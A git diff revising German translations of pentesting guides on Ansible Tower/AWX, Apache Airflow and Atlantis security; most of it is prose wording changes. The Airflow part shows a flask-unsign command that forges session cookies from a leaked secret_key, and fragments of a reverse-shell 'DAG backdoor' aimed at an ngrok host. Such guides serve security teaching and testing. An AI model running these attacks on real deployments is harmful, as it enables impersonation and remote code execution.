diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index 341f83f73..2fe2fc44d 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -1,10 +1,10 @@ -# Ansible Tower / AWX / Automation controller Sicherheit +# Ansible Tower / AWX / Automation Controller Sicherheit {{#include ../banners/hacktricks-training.md}} ## Grundinformationen -**Ansible Tower** oder seine Open-Source-Version [**AWX**](https://github.com/ansible/awx) ist auch bekannt als **Ansible Benutzeroberfläche, Dashboard und REST API**. Mit **rollenbasiertem Zugriffskontrolle**, Jobplanung und grafischer Inventarverwaltung können Sie Ihre Ansible-Infrastruktur über eine moderne Benutzeroberfläche verwalten. Die REST API von Tower und die Befehlszeilenschnittstelle machen es einfach, sie in aktuelle Tools und Workflows zu integrieren. +**Ansible Tower** oder seine Open-Source-Version [**AWX**](https://github.com/ansible/awx) ist auch bekannt als **Ansible-Benutzeroberfläche, Dashboard und REST-API**. Mit **rollenbasiertem Zugriffskontrolle**, Jobplanung und grafischer Inventarverwaltung können Sie Ihre Ansible-Infrastruktur über eine moderne Benutzeroberfläche verwalten. Die REST-API von Tower und die Befehlszeilenschnittstelle machen es einfach, sie in aktuelle Tools und Workflows zu integrieren. **Automation Controller ist eine neuere** Version von Ansible Tower mit mehr Funktionen. @@ -15,7 +15,7 @@ Laut [**diesem**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65 ### Tech-Stack - **Weboberfläche**: Dies ist die grafische Oberfläche, über die Benutzer Inventare, Anmeldeinformationen, Vorlagen und Jobs verwalten können. Sie ist so gestaltet, dass sie intuitiv ist und Visualisierungen bietet, um den Zustand und die Ergebnisse Ihrer Automatisierungsjobs zu verstehen. -- **REST API**: Alles, was Sie in der Weboberfläche tun können, können Sie auch über die REST API tun. Das bedeutet, dass Sie AWX/Tower mit anderen Systemen integrieren oder Aktionen skripten können, die Sie normalerweise in der Benutzeroberfläche ausführen würden. +- **REST-API**: Alles, was Sie in der Weboberfläche tun können, können Sie auch über die REST-API tun. Das bedeutet, dass Sie AWX/Tower mit anderen Systemen integrieren oder Aktionen skripten können, die Sie normalerweise in der Benutzeroberfläche ausführen würden. - **Datenbank**: AWX/Tower verwendet eine Datenbank (typischerweise PostgreSQL), um seine Konfiguration, Jobresultate und andere notwendige Betriebsdaten zu speichern. - **RabbitMQ**: Dies ist das Messaging-System, das von AWX/Tower verwendet wird, um zwischen den verschiedenen Komponenten zu kommunizieren, insbesondere zwischen dem Webdienst und den Aufgabenläufern. - **Redis**: Redis dient als Cache und Backend für die Aufgabenwarteschlange. @@ -24,32 +24,32 @@ Laut [**diesem**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65 - **Inventare**: Ein Inventar ist eine **Sammlung von Hosts (oder Knoten)**, gegen die **Jobs** (Ansible-Playbooks) **ausgeführt** werden können. AWX/Tower ermöglicht es Ihnen, Ihre Inventare zu definieren und zu gruppieren und unterstützt auch dynamische Inventare, die **Hostlisten aus anderen Systemen** wie AWS, Azure usw. abrufen können. - **Projekte**: Ein Projekt ist im Wesentlichen eine **Sammlung von Ansible-Playbooks**, die aus einem **Versionskontrollsystem** (wie Git) stammen, um die neuesten Playbooks bei Bedarf abzurufen. -- **Vorlagen**: Jobvorlagen definieren, **wie ein bestimmtes Playbook ausgeführt wird**, indem sie das **Inventar**, die **Anmeldeinformationen** und andere **Parameter** für den Job angeben. +- **Vorlagen**: Jobvorlagen definieren, **wie ein bestimmtes Playbook ausgeführt wird**, und geben das **Inventar**, **Anmeldeinformationen** und andere **Parameter** für den Job an. - **Anmeldeinformationen**: AWX/Tower bietet eine sichere Möglichkeit, **Geheimnisse wie SSH-Schlüssel, Passwörter und API-Tokens zu verwalten und zu speichern**. Diese Anmeldeinformationen können mit Jobvorlagen verknüpft werden, sodass Playbooks beim Ausführen den erforderlichen Zugriff haben. -- **Aufgaben-Engine**: Hier passiert die Magie. Die Aufgaben-Engine basiert auf Ansible und ist verantwortlich für das **Ausführen der Playbooks**. Jobs werden an die Aufgaben-Engine übergeben, die dann die Ansible-Playbooks gegen das festgelegte Inventar mit den angegebenen Anmeldeinformationen ausführt. +- **Aufgaben-Engine**: Hier geschieht die Magie. Die Aufgaben-Engine basiert auf Ansible und ist verantwortlich für das **Ausführen der Playbooks**. Jobs werden an die Aufgaben-Engine übergeben, die dann die Ansible-Playbooks gegen das festgelegte Inventar mit den angegebenen Anmeldeinformationen ausführt. - **Planer und Rückrufe**: Dies sind erweiterte Funktionen in AWX/Tower, die es ermöglichen, **Jobs zu bestimmten Zeiten zu planen** oder durch externe Ereignisse ausgelöst zu werden. -- **Benachrichtigungen**: AWX/Tower kann Benachrichtigungen basierend auf dem Erfolg oder Misserfolg von Jobs senden. Es unterstützt verschiedene Benachrichtigungsmethoden wie E-Mails, Slack-Nachrichten, Webhooks usw. +- **Benachrichtigungen**: AWX/Tower kann Benachrichtigungen basierend auf dem Erfolg oder Misserfolg von Jobs senden. Es unterstützt verschiedene Arten von Benachrichtigungen wie E-Mails, Slack-Nachrichten, Webhooks usw. - **Ansible-Playbooks**: Ansible-Playbooks sind Konfigurations-, Bereitstellungs- und Orchestrierungstools. Sie beschreiben den gewünschten Zustand von Systemen auf automatisierte, wiederholbare Weise. In YAML geschrieben, verwenden Playbooks Ansible's deklarative Automatisierungssprache, um Konfigurationen, Aufgaben und Schritte zu beschreiben, die ausgeführt werden müssen. ### Jobausführungsfluss -1. **Benutzerinteraktion**: Ein Benutzer kann über die **Weboberfläche** oder die **REST API** mit AWX/Tower interagieren. Diese bieten Front-End-Zugriff auf alle von AWX/Tower angebotenen Funktionen. +1. **Benutzerinteraktion**: Ein Benutzer kann mit AWX/Tower entweder über die **Weboberfläche** oder die **REST-API** interagieren. Diese bieten Front-End-Zugriff auf alle von AWX/Tower angebotenen Funktionen. 2. **Jobinitiierung**: - Der Benutzer initiiert über die Weboberfläche oder API einen Job basierend auf einer **Jobvorlage**. -- Die Jobvorlage enthält Verweise auf das **Inventar**, das **Projekt** (das das Playbook enthält) und die **Anmeldeinformationen**. +- Die Jobvorlage enthält Verweise auf das **Inventar**, **Projekt** (das das Playbook enthält) und **Anmeldeinformationen**. - Bei der Jobinitiierung wird eine Anfrage an das AWX/Tower-Backend gesendet, um den Job zur Ausführung in die Warteschlange zu stellen. 3. **Jobwarteschlange**: -- **RabbitMQ** verwaltet die Nachrichtenübertragung zwischen der Webkomponente und den Aufgabenläufern. Sobald ein Job initiiert wird, wird eine Nachricht an die Aufgaben-Engine über RabbitMQ gesendet. -- **Redis** fungiert als Backend für die Aufgabenwarteschlange und verwaltet die in der Warteschlange stehenden Jobs, die auf die Ausführung warten. +- **RabbitMQ** verwaltet die Nachrichten zwischen der Webkomponente und den Aufgabenläufern. Sobald ein Job initiiert wird, wird eine Nachricht an die Aufgaben-Engine über RabbitMQ gesendet. +- **Redis** fungiert als Backend für die Aufgabenwarteschlange und verwaltet die in der Warteschlange befindlichen Jobs, die auf die Ausführung warten. 4. **Jobausführung**: -- Die **Aufgaben-Engine** nimmt den in der Warteschlange stehenden Job auf. Sie ruft die erforderlichen Informationen aus der **Datenbank** über das mit dem Job verbundene Playbook, Inventar und die Anmeldeinformationen ab. +- Die **Aufgaben-Engine** nimmt den in der Warteschlange befindlichen Job auf. Sie ruft die erforderlichen Informationen aus der **Datenbank** über das mit dem Job verbundene Playbook, Inventar und die Anmeldeinformationen ab. - Mit dem abgerufenen Ansible-Playbook aus dem zugehörigen **Projekt** führt die Aufgaben-Engine das Playbook gegen die angegebenen **Inventar**-Knoten mit den bereitgestellten **Anmeldeinformationen** aus. - Während das Playbook ausgeführt wird, werden die Ausführungsprotokolle (Logs, Fakten usw.) erfasst und in der **Datenbank** gespeichert. 5. **Jobergebnisse**: - Sobald das Playbook die Ausführung abgeschlossen hat, werden die Ergebnisse (Erfolg, Misserfolg, Protokolle) in der **Datenbank** gespeichert. -- Benutzer können die Ergebnisse dann über die Weboberfläche einsehen oder sie über die REST API abfragen. -- Basierend auf den Jobergebnissen können **Benachrichtigungen** versendet werden, um Benutzer oder externe Systeme über den Status des Jobs zu informieren. Benachrichtigungen können E-Mails, Slack-Nachrichten, Webhooks usw. sein. -6. **Integration externer Systeme**: +- Benutzer können die Ergebnisse dann über die Weboberfläche einsehen oder über die REST-API abfragen. +- Basierend auf den Ergebnissen der Jobs können **Benachrichtigungen** versendet werden, um Benutzer oder externe Systeme über den Status des Jobs zu informieren. Benachrichtigungen können E-Mails, Slack-Nachrichten, Webhooks usw. sein. +6. **Integration mit externen Systemen**: - **Inventare** können dynamisch aus externen Systemen bezogen werden, sodass AWX/Tower Hosts aus Quellen wie AWS, Azure, VMware und mehr abrufen kann. - **Projekte** (Playbooks) können aus Versionskontrollsystemen abgerufen werden, um sicherzustellen, dass während der Jobausführung aktuelle Playbooks verwendet werden. - **Planer und Rückrufe** können verwendet werden, um mit anderen Systemen oder Tools zu integrieren, sodass AWX/Tower auf externe Auslöser reagiert oder Jobs zu festgelegten Zeiten ausführt. @@ -86,9 +86,9 @@ docker exec tools_awx_1 awx-manage create_preload_data ### Unterstützte Rollen -Die privilegierteste Rolle wird **Systemadministrator** genannt. Jeder mit dieser Rolle kann **alles ändern**. +Die privilegierteste Rolle wird als **Systemadministrator** bezeichnet. Jeder mit dieser Rolle kann **alles ändern**. -Für eine **White-Box-Sicherheits**-Überprüfung benötigen Sie die **Systemauditorrolle**, die es ermöglicht, **alle Systemdaten anzuzeigen**, aber keine Änderungen vorzunehmen. Eine andere Möglichkeit wäre, die **Organisationsauditorrolle** zu erhalten, aber es wäre besser, die andere zu bekommen. +Für eine **White-Box-Sicherheits**-Überprüfung benötigen Sie die **Systemauditorrolle**, die es ermöglicht, **alle Systemdaten anzuzeigen**, aber keine Änderungen vorzunehmen. Eine andere Option wäre, die **Organisationsauditorrolle** zu erhalten, aber es wäre besser, die andere zu bekommen.
@@ -102,7 +102,7 @@ Für eine **White-Box-Sicherheits**-Überprüfung benötigen Sie die **Systemaud - Diese Rolle ist für Compliance und Aufsicht konzipiert. 3. **Organisationsrollen**: - **Admin**: Vollständige Kontrolle über die Ressourcen der Organisation. -- **Auditor**: Nur Lesezugriff auf die Ressourcen der Organisation. +- **Auditor**: Nur-Lese-Zugriff auf die Ressourcen der Organisation. - **Mitglied**: Grundlegende Mitgliedschaft in einer Organisation ohne spezifische Berechtigungen. - **Ausführen**: Kann Jobvorlagen innerhalb der Organisation ausführen. - **Lesen**: Kann die Ressourcen der Organisation anzeigen. @@ -115,22 +115,22 @@ Für eine **White-Box-Sicherheits**-Überprüfung benötigen Sie die **Systemaud - **Ad Hoc**: Kann Ad-hoc-Befehle im Inventar ausführen. - **Aktualisieren**: Kann die Inventarquelle aktualisieren. - **Verwenden**: Kann das Inventar in einer Jobvorlage verwenden. -- **Lesen**: Nur Lesezugriff. +- **Lesen**: Nur-Lese-Zugriff. 6. **Jobvorlagenrollen**: - **Admin**: Kann die Jobvorlage verwalten und ändern. - **Ausführen**: Kann den Job ausführen. -- **Lesen**: Nur Lesezugriff. +- **Lesen**: Nur-Lese-Zugriff. 7. **Berechtigungsrollen**: - **Admin**: Kann die Berechtigungen verwalten und ändern. - **Verwenden**: Kann die Berechtigungen in Jobvorlagen oder anderen relevanten Ressourcen verwenden. -- **Lesen**: Nur Lesezugriff. +- **Lesen**: Nur-Lese-Zugriff. 8. **Teamrollen**: - **Mitglied**: Teil des Teams, aber ohne spezifische Berechtigungen. - **Admin**: Kann die Mitglieder des Teams und die zugehörigen Ressourcen verwalten. 9. **Workflow-Rollen**: - **Admin**: Kann den Workflow verwalten und ändern. - **Ausführen**: Kann den Workflow ausführen. -- **Lesen**: Nur Lesezugriff. +- **Lesen**: Nur-Lese-Zugriff.
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index cddae2e79..7073fdc71 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -1,18 +1,18 @@ -# Apache Airflow Security +# Apache Airflow Sicherheit {{#include ../../banners/hacktricks-training.md}} -### Grundlegende Informationen +### Grundinformationen -[**Apache Airflow**](https://airflow.apache.org) dient als Plattform zum **Orchestrieren und Planen von Datenpipelines oder Workflows**. Der Begriff "Orchestrierung" im Kontext von Datenpipelines bezeichnet den Prozess des Anordnens, Koordinierens und Verwaltens komplexer Daten-Workflows, die aus verschiedenen Quellen stammen. Der Hauptzweck dieser orchestrierten Datenpipelines besteht darin, verarbeitete und konsumierbare Datensätze bereitzustellen. Diese Datensätze werden von einer Vielzahl von Anwendungen umfassend genutzt, einschließlich, aber nicht beschränkt auf Business-Intelligence-Tools, Datenwissenschafts- und Machine-Learning-Modelle, die alle grundlegend für das Funktionieren von Big-Data-Anwendungen sind. +[**Apache Airflow**](https://airflow.apache.org) dient als Plattform zum **Orchestrieren und Planen von Datenpipelines oder Workflows**. Der Begriff "Orchestrierung" im Kontext von Datenpipelines bezeichnet den Prozess des Arrangierens, Koordinierens und Verwaltens komplexer Daten-Workflows, die aus verschiedenen Quellen stammen. Der Hauptzweck dieser orchestrierten Datenpipelines besteht darin, verarbeitete und konsumierbare Datensätze bereitzustellen. Diese Datensätze werden von einer Vielzahl von Anwendungen umfassend genutzt, einschließlich, aber nicht beschränkt auf Business-Intelligence-Tools, Datenwissenschafts- und Machine-Learning-Modelle, die alle grundlegend für das Funktionieren von Big-Data-Anwendungen sind. -Im Grunde genommen ermöglicht es Apache Airflow, die **Ausführung von Code zu planen, wenn etwas** (Ereignis, Cron) **passiert**. +Im Grunde wird Apache Airflow Ihnen ermöglichen, **die Ausführung von Code zu planen, wenn etwas** (Ereignis, Cron) **passiert**. ### Lokales Labor #### Docker-Compose -Sie können die **docker-compose-Konfigurationsdatei von** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) verwenden, um eine vollständige Apache Airflow-Docker-Umgebung zu starten. (Wenn Sie MacOS verwenden, stellen Sie sicher, dass Sie der Docker-VM mindestens 6 GB RAM zuweisen). +Sie können die **docker-compose-Konfigurationsdatei von** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) verwenden, um eine vollständige Apache Airflow-Docker-Umgebung zu starten. (Wenn Sie auf MacOS sind, stellen Sie sicher, dass Sie der Docker-VM mindestens 6 GB RAM zuweisen). #### Minikube @@ -28,7 +28,7 @@ helm delete airflow-release ``` ### Airflow-Konfiguration -Airflow könnte **sensible Informationen** in seiner Konfiguration speichern oder Sie könnten schwache Konfigurationen finden: +Airflow könnte **sensible Informationen** in seiner Konfiguration speichern oder Sie können schwache Konfigurationen finden: {{#ref}} airflow-configuration.md @@ -44,25 +44,25 @@ airflow-rbac.md ### Angriffe -#### Webkonsole Aufzählung +#### Webkonsole Enumeration Wenn Sie **Zugriff auf die Webkonsole** haben, könnten Sie in der Lage sein, einige oder alle der folgenden Informationen zuzugreifen: -- **Variablen** (Benutzerdefinierte sensible Informationen könnten hier gespeichert sein) -- **Verbindungen** (Benutzerdefinierte sensible Informationen könnten hier gespeichert sein) -- Greifen Sie darauf zu in `http:///connection/list/` -- [**Konfiguration**](./#airflow-configuration) (Sensible Informationen wie der **`secret_key`** und Passwörter könnten hier gespeichert sein) +- **Variablen** (Benutzerdefinierte sensible Informationen könnten hier gespeichert werden) +- **Verbindungen** (Benutzerdefinierte sensible Informationen könnten hier gespeichert werden) +- Greifen Sie darauf zu unter `http:///connection/list/` +- [**Konfiguration**](./#airflow-configuration) (Sensible Informationen wie der **`secret_key`** und Passwörter könnten hier gespeichert werden) - Liste der **Benutzer & Rollen** - **Code jedes DAG** (der interessante Informationen enthalten könnte) #### Abrufen von Variablenwerten -Variablen können in Airflow gespeichert werden, damit die **DAGs** ihre Werte **zugreifen** können. Es ist ähnlich wie bei Geheimnissen anderer Plattformen. Wenn Sie **genug Berechtigungen** haben, können Sie sie in der GUI unter `http:///variable/list/` abrufen.\ -Airflow zeigt standardmäßig den Wert der Variablen in der GUI an, jedoch ist es laut [**diesem**](https://marclamberti.com/blog/variables-with-apache-airflow/) möglich, eine **Liste von Variablen** festzulegen, deren **Wert** als **Sternchen** in der **GUI** angezeigt wird. +Variablen können in Airflow gespeichert werden, damit die **DAGs** auf ihre Werte **zugreifen** können. Es ist ähnlich wie bei Geheimnissen anderer Plattformen. Wenn Sie **genug Berechtigungen** haben, können Sie sie in der GUI unter `http:///variable/list/` abrufen.\ +Airflow zeigt standardmäßig den Wert der Variablen in der GUI an, jedoch ist es laut [**dieser**](https://marclamberti.com/blog/variables-with-apache-airflow/) möglich, eine **Liste von Variablen** festzulegen, deren **Wert** in der **GUI** als **Sternchen** angezeigt wird. ![](<../../images/image (164).png>) -Diese **Werte** können jedoch weiterhin über **CLI** (Sie müssen DB-Zugriff haben), **willkürliche DAG**-Ausführung, **API**, die auf den Variablen-Endpunkt zugreift (die API muss aktiviert sein), und **sogar die GUI selbst!**\ +Diese **Werte** können jedoch weiterhin über **CLI** (Sie müssen DB-Zugriff haben), **willkürliche DAG**-Ausführung, **API**-Zugriff auf den Variablen-Endpunkt (die API muss aktiviert sein) und **sogar die GUI selbst!** abgerufen werden.\ Um auf diese Werte über die GUI zuzugreifen, wählen Sie einfach die **Variablen** aus, auf die Sie zugreifen möchten, und **klicken Sie auf Aktionen -> Exportieren**.\ Eine andere Möglichkeit besteht darin, einen **Bruteforce** auf den **versteckten Wert** durchzuführen, indem Sie die **Suchfilterung** verwenden, bis Sie ihn erhalten: @@ -70,13 +70,13 @@ Eine andere Möglichkeit besteht darin, einen **Bruteforce** auf den **versteckt #### Privilegieneskalation -Wenn die Konfiguration **`expose_config`** auf **True** gesetzt ist, können Benutzer ab der **Rolle Benutzer** und **darüber** die **Konfiguration im Web** **lesen**. In dieser Konfiguration erscheint der **`secret_key`**, was bedeutet, dass jeder Benutzer mit diesem gültigen Schlüssel **seinen eigenen signierten Cookie erstellen kann, um sich als ein anderer Benutzeraccount auszugeben**. +Wenn die Konfiguration **`expose_config`** auf **True** gesetzt ist, können Benutzer ab der **Rolle Benutzer** und **darüber hinaus** die **Konfiguration im Web** **lesen**. In dieser Konfiguration erscheint der **`secret_key`**, was bedeutet, dass jeder Benutzer mit diesem gültigen Schlüssel **seinen eigenen signierten Cookie erstellen kann, um sich als ein anderer Benutzeraccount auszugeben**. ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` -#### DAG-Hintertür (RCE im Airflow-Worker) +#### DAG Backdoor (RCE in Airflow worker) -Wenn Sie **Schreibzugriff** auf den Ort haben, an dem die **DAGs gespeichert sind**, können Sie einfach **eine erstellen**, die Ihnen eine **Reverse-Shell** sendet.\ +Wenn Sie **Schreibzugriff** auf den Ort haben, an dem die **DAGs gespeichert** sind, können Sie einfach **einen erstellen**, der Ihnen eine **Reverse-Shell** sendet.\ Beachten Sie, dass diese Reverse-Shell innerhalb eines **Airflow-Worker-Containers** ausgeführt wird: ```python import pendulum @@ -144,9 +144,9 @@ op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} ``` #### DAG-Erstellung -Wenn es Ihnen gelingt, **eine Maschine im DAG-Cluster zu kompromittieren**, können Sie neue **DAG-Skripte** im Ordner `dags/` erstellen, und sie werden **in den restlichen Maschinen** im DAG-Cluster **repliziert**. +Wenn es Ihnen gelingt, **eine Maschine im DAG-Cluster zu kompromittieren**, können Sie neue **DAG-Skripte** im `dags/`-Ordner erstellen, und sie werden **im Rest der Maschinen** im DAG-Cluster **repliziert**. -#### DAG-Code-Injektion +#### DAG-Code-Injection Wenn Sie einen DAG über die GUI ausführen, können Sie **Argumente** an ihn **übergeben**.\ Daher könnte der DAG, wenn er nicht ordnungsgemäß codiert ist, **anfällig für Command Injection** sein.\ @@ -154,7 +154,7 @@ Das ist, was in diesem CVE passiert ist: [https://www.exploit-db.com/exploits/49 Alles, was Sie wissen müssen, um **nach Command Injections in DAGs zu suchen**, ist, dass **Parameter** mit dem Code **`dag_run.conf.get("param_name")`** **zugegriffen** werden. -Darüber hinaus könnte die gleiche Verwundbarkeit auch bei **Variablen** auftreten (beachten Sie, dass Sie mit ausreichenden Rechten **den Wert der Variablen** in der GUI **steuern** könnten). Variablen werden **mit** zugegriffen: +Darüber hinaus könnte die gleiche Verwundbarkeit auch bei **Variablen** auftreten (beachten Sie, dass Sie mit ausreichenden Rechten **den Wert der Variablen** in der GUI **steuern** könnten). Variablen werden **zugegriffen mit**: ```python from airflow.models import Variable [...] diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md index eef2376cf..8a2d7483d 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md @@ -27,39 +27,39 @@ Einige interessante Werte, die Sie beim Lesen der Konfigurationsdatei überprüf - `airflow.api.auth.backend.basic_auth`: Für **Basis-Authentifizierung**. - `airflow.composer.api.backend.composer_auth`: Verwendet die Authentifizierung von Composern (GCP) (von [**hier**](https://cloud.google.com/composer/docs/access-airflow-api)). - `composer_auth_user_registration_role`: Dies gibt die **Rolle** an, die der **Composer-Benutzer** innerhalb von **Airflow** erhält (**Op** standardmäßig). -- Sie können auch eine **eigene Authentifizierung**-Methode mit Python erstellen. +- Sie können auch **Ihre eigene Authentifizierung**smethode mit Python erstellen. - **`google_key_path`:** Pfad zum **GCP-Dienstkonto-Schlüssel**. ### **\[atlas]** -- **`password`**: Atlas-Passwort -- **`username`**: Atlas-Benutzername +- **`password`**: Atlas-Passwort. +- **`username`**: Atlas-Benutzername. ### \[celery] -- **`flower_basic_auth`** : Anmeldeinformationen (_user1:password1,user2:password2_) +- **`flower_basic_auth`** : Anmeldeinformationen (_user1:password1,user2:password2_). - **`result_backend`**: Postgres-URL, die **Anmeldeinformationen** enthalten kann. -- **`ssl_cacert`**: Pfad zum cacert -- **`ssl_cert`**: Pfad zum Zertifikat -- **`ssl_key`**: Pfad zum Schlüssel +- **`ssl_cacert`**: Pfad zum cacert. +- **`ssl_cert`**: Pfad zum Zertifikat. +- **`ssl_key`**: Pfad zum Schlüssel. ### \[core] - **`dag_discovery_safe_mode`**: Standardmäßig aktiviert. Beim Entdecken von DAGs werden alle Dateien ignoriert, die nicht die Zeichenfolgen `DAG` und `airflow` enthalten. -- **`fernet_key`**: Schlüssel zum Speichern von verschlüsselten Variablen (symmetrisch). +- **`fernet_key`**: Schlüssel zum Speichern verschlüsselter Variablen (symmetrisch). - **`hide_sensitive_var_conn_fields`**: Standardmäßig aktiviert, verbirgt sensible Informationen zu Verbindungen. - **`security`**: Welches Sicherheitsmodul verwendet werden soll (zum Beispiel Kerberos). ### \[dask] -- **`tls_ca`**: Pfad zur CA -- **`tls_cert`**: Pfad zum Zertifikat -- **`tls_key`**: Pfad zum TLS-Schlüssel +- **`tls_ca`**: Pfad zur CA. +- **`tls_cert`**: Pfad zum Zertifikat. +- **`tls_key`**: Pfad zum TLS-Schlüssel. ### \[kerberos] -- **`ccache`**: Pfad zur ccache-Datei -- **`forwardable`**: Standardmäßig aktiviert +- **`ccache`**: Pfad zur ccache-Datei. +- **`forwardable`**: Standardmäßig aktiviert. ### \[logging] @@ -72,8 +72,8 @@ Einige interessante Werte, die Sie beim Lesen der Konfigurationsdatei überprüf ### \[smtp] -- **`smtp_password`**: SMTP-Passwort -- **`smtp_user`**: SMTP-Benutzer +- **`smtp_password`**: SMTP-Passwort. +- **`smtp_user`**: SMTP-Benutzer. ### \[webserver] @@ -92,13 +92,13 @@ Standardmäßig ist die **Web-Authentifizierung** in der Datei **`webserver_conf ```bash AUTH_TYPE = AUTH_DB ``` -Was bedeutet, dass die **Authentifizierung gegen die Datenbank überprüft wird**. Andere Konfigurationen sind jedoch möglich, wie +Was bedeutet, dass die **Authentifizierung gegen die Datenbank überprüft wird**. Es sind jedoch auch andere Konfigurationen möglich, wie ```bash AUTH_TYPE = AUTH_OAUTH ``` Um die **Authentifizierung an Drittanbieterdienste** zu übergeben. -Es gibt jedoch auch eine Option, um **anonymen Benutzern den Zugriff zu erlauben**, indem der folgende Parameter auf die **gewünschte Rolle** gesetzt wird: +Es gibt jedoch auch eine Option, **anonymen Benutzern den Zugriff zu erlauben**, indem der folgende Parameter auf die **gewünschte Rolle** gesetzt wird: ```bash AUTH_ROLE_PUBLIC = 'Admin' ``` diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md index 84639a3ab..cb97a09b9 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md @@ -4,15 +4,15 @@ ## RBAC -(Von den Dokumenten)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow wird mit einem **Standardset von Rollen** ausgeliefert: **Admin**, **User**, **Op**, **Viewer** und **Public**. **Nur `Admin`**-Benutzer können **die Berechtigungen für andere Rollen konfigurieren/ändern**. Es wird jedoch nicht empfohlen, dass `Admin`-Benutzer diese Standardrollen in irgendeiner Weise ändern, indem sie Berechtigungen für diese Rollen entfernen oder hinzufügen. +(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow wird standardmäßig mit einem **Set von Rollen** ausgeliefert: **Admin**, **User**, **Op**, **Viewer** und **Public**. **Nur `Admin`**-Benutzer können **die Berechtigungen für andere Rollen konfigurieren/ändern**. Es wird jedoch nicht empfohlen, dass `Admin`-Benutzer diese Standardrollen in irgendeiner Weise ändern, indem sie Berechtigungen für diese Rollen entfernen oder hinzufügen. - **`Admin`**-Benutzer haben alle möglichen Berechtigungen. - **`Public`**-Benutzer (anonym) haben keine Berechtigungen. - **`Viewer`**-Benutzer haben eingeschränkte Ansichtsberechtigungen (nur lesen). Er **kann die Konfiguration nicht sehen.** - **`User`**-Benutzer haben `Viewer`-Berechtigungen plus zusätzliche Benutzerberechtigungen, die es ihm ermöglichen, DAGs ein wenig zu verwalten. Er **kann die Konfigurationsdatei sehen.** -- **`Op`**-Benutzer haben `User`-Berechtigungen plus zusätzliche Betriebsberechtigungen. +- **`Op`**-Benutzer haben `User`-Berechtigungen plus zusätzliche Op-Berechtigungen. -Beachten Sie, dass **Admin**-Benutzer **weitere Rollen** mit **detaillierteren Berechtigungen** erstellen können. +Beachten Sie, dass **Admin**-Benutzer **weitere Rollen** mit **feineren Berechtigungen** erstellen können. Beachten Sie auch, dass die einzige Standardrolle mit **Berechtigung zur Auflistung von Benutzern und Rollen Admin ist, nicht einmal Op** wird in der Lage sein, dies zu tun. diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index 45c0d6668..9fb513160 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -4,27 +4,27 @@ ### Grundinformationen -Atlantis hilft Ihnen im Grunde, Terraform aus Pull Requests von Ihrem Git-Server auszuführen. +Atlantis hilft Ihnen im Grunde, Terraform von Pull Requests von Ihrem Git-Server auszuführen. ![](<../images/image (161).png>) ### Lokales Labor -1. Gehen Sie zur **Atlantis-Release-Seite** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) und **laden** Sie die passende Version herunter. +1. Gehen Sie zur **Atlantis-Release-Seite** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) und **laden Sie** die passende Version herunter. 2. Erstellen Sie ein **persönliches Token** (mit Repo-Zugriff) Ihres **GitHub**-Benutzers. 3. Führen Sie `./atlantis testdrive` aus, und es wird ein **Demo-Repo** erstellt, das Sie verwenden können, um mit Atlantis zu **kommunizieren**. -4. Sie können die Webseite unter 127.0.0.1:4141 aufrufen. +1. Sie können die Webseite unter 127.0.0.1:4141 aufrufen. ### Atlantis-Zugriff #### Git-Server-Anmeldeinformationen -**Atlantis** unterstützt mehrere Git-Hosts wie **Github**, **Gitlab**, **Bitbucket** und **Azure DevOps**.\ +**Atlantis** unterstützt mehrere Git-Hosts wie **GitHub**, **GitLab**, **Bitbucket** und **Azure DevOps**.\ Um jedoch auf die Repos auf diesen Plattformen zuzugreifen und Aktionen durchzuführen, muss ihm **privilegierter Zugriff gewährt werden** (mindestens Schreibberechtigungen).\ [**Die Dokumentation**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) empfiehlt, einen Benutzer auf diesen Plattformen speziell für Atlantis zu erstellen, aber einige Personen verwenden möglicherweise persönliche Konten. > [!WARNING] -> Aus der Sicht eines Angreifers wird das **Atlantis-Konto** sehr **interessant** sein, um es **zu kompromittieren**. +> Aus der Perspektive eines Angreifers wird das **Atlantis-Konto** sehr **interessant** sein, **kompromittiert zu werden**. #### Webhooks @@ -35,36 +35,36 @@ Eine Möglichkeit, dies zu bestätigen, wäre, **Anfragen nur von den IPs** Ihre Beachten Sie, dass Sie, 